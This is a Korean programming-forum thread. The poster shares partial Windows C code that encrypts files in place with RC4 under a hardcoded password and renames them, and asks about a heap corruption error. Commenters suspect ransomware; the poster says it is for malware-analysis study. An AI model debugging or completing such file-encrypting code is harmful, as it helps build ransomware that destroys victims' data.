C언어 HEAP CORRUPTION DETECTED 오류 와 프로그램 오류문제
글쓴이: JNAA / 작성시간: 수, 2021/01/06 - 9:16오후
컴퓨터를? 암호화하는 프로그램을 작성하고 있습니다.
아래는 작성한 코드의 일부입니다.
#define MY_PASS "password" #define MAX_LEN 256 #define WIN32_LEAN_AND_MEAN struct _finddata_t fd; const char* Encode(char* pszCode) { //파일의 내용을 담고있는 버퍼가 전달된다. HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; BYTE pbCode[MAX_LEN]; DWORD dwDataLen; ZeroMemory(pbCode, MAX_LEN); strcpy((char*)pbCode, pszCode); dwDataLen = (DWORD)strlen((char*)pbCode) + 1; //CSP 핸들 얻기 if (CryptAcquireContext(&hProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, 0) == TRUE) { //해쉬 생성 if (CryptCreateHash(hProv, CALG_SHA, 0, 0, &hHash) == TRUE) { //해쉬 값 계산 if (CryptHashData(hHash, (BYTE*)MY_PASS, (DWORD)strlen(MY_PASS), 0) == TRUE) { //키 생성 if (CryptDeriveKey(hProv, CALG_RC4, hHash, 0x00800000, &hKey) == TRUE) { //암호화 if (CryptEncrypt(hKey, 0, TRUE, 0, pbCode, &dwDataLen, MAX_LEN) == TRUE) { pszCode = (char*)pbCode; return pszCode; //암호화 된 값 전달 } else { printf("암호화 실패\n"); } //디버그 로그 암호화 실패 } else { printf(" 키 생성 실패\n"); hKey = 6926504; } //디버그 로그 키 생성 실패 } else { printf("해쉬 값 계산 실패\n"); hHash = 6926120; } //디버그 로그 해쉬 값 계산 실패 } else { printf("해쉬 생성 실패\n"); hProv = 6853552; }//디버그 로그 해쉬 생성 실패 } else {// 유저용 키 컨테이너 만들기 if (!CryptAcquireContext(&hProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) { printf("유저 키 생성실패"); goto ONE; } } //해쉬 삭제 CryptDestroyHash(hHash); //CSP 핸들 풀어주기 CryptReleaseContext(hProv, 0); ONE: return 0; } // 파일 입출력을 담당할 함수 void File_In_Out(char* Path, int size) { // 파일의 경로와 파일의 크기를 인자로 받음 ,, D:TEST\test1.txt HANDLE fp; //핸들 DWORD readn; BOOL brtv; //반환값 제대로인지 확인 char buf[MAX_LEN]; char* buffer; //malloc 함수로 할당받을 버퍼 //LPCWSTR(Path) if (size > 100000000) { printf("파일 크기가 너무큽니다 이 파일은 건너뜀\n"); goto TWO; } fp = CreateFile(Path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (fp == INVALID_HANDLE_VALUE) { printf("File Open Error (%d) : %s\n", GetLastError(), Path); goto ONE; } buffer = (char*)malloc(size + 256); //파일크기 + 256만큼 동적 메모리 할당 memset(buffer, 0, size + 256); // 파일크기 + 256 바이트 만큼 메모리를 0으로 초기화 while (1) { //파일을 다 읽을때 까지 반복 memset((void*)buf, 0x00, MAX_LEN); // buf에 읽은 데이터를 넣어야해서 메모리 초기화 작업 brtv = ReadFile(fp, buf, MAX_LEN - 1, &readn, NULL); if (brtv && readn == 0) { break; } strcat(buffer, Encode(buf)); //buffer에 buf 값 추가 } if (SetFilePointer(fp, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER) { printf("SetFilePointer Error : %d\n", GetLastError()); } if (WriteFile(fp, buffer, size + 256, &readn, NULL) == FALSE) { printf("WriteFile 실패, ErrorCode : %d", GetLastError()); } CloseHandle(fp); free(buffer); Change_Name(Path); ONE: CloseHandle(fp); TWO: return; }
작성한 코드를 실행시켜보면 HEAP CORRUPTION DETECTED 오류가 납니다
해당 에러를 무시하면 계속 실행은 되는데 중간에 아무런 에러코드없이 멈춰버리네요..
HEAP CORRUPTION DETECTED 오류를 찾아보니 " malloc이나 new로 할당한 메모리의 영역보다 더 큰 영역에 접근하고자 했기 때문에 나타난다" 라고 나와있어
buffer = (char*)malloc(size + 256); //파일크기 + 256만큼 동적 메모리 할당 memset(buffer, 0, size + 256); // 파일크기 + 256 바이트 만큼 메모리를 0으로 초기화
해당 부분의 코드를 아래처럼 변경해보았는데도 여전히 오류가 발생합니다.. 어떻게 해야할까요??
buffer = (char*)malloc(size * 2); //파일크기 + 256만큼 동적 메모리 할당 memset(buffer, 0, size * 2); // 파일크기 + 256 바이트 만큼 메모리를 0으로 초기화
++) 추가적으로 질문드립니다
해당 오류를 무시하면 암호화는 계속 진행이 되는데 갑자기 프로그램이 중간에 멈춰버립니다. 아무런 에러코드 없이 멈춰서 도대체 무슨 문제인지 모르겠는데 혹시 위의 오류와 연관이있을까요?
Forums:
에러는 둘째치고, 위험천만한 코드인데요.
에러는 둘째치고, 위험천만한 코드인데요.
C:\부터 시작해서 모든 파일을 In-place로 암호화하는 건가요?!
시작위치 까지 지정되어 있는..
시작위치 까지 지정되어 있는..
코드 의도?가 불순해 보이네요.
랜섬웨어??
순수한? 공부목적으로 개발중인 코드입니다..
순수한? 공부목적으로 개발중인 (악성)코드입니다..
악코분 공부를 하면서 직접 개발 후 분석하기 위한 목적으로 개발중이었습니다!! ㅎㅎ
Encode() 함수에서 pszCode = (char
Encode() 함수에서 pszCode = (char*)pbCode; 는 의미없는 코드입니다. 아마 memcpy(), strcpy() 등으로 복사를 해야 할 것 같네요.
아 그렇군요! 수정해보겠습니다 감사합니다
아 그렇군요! 수정해보겠습니다 감사합니다
댓글 달기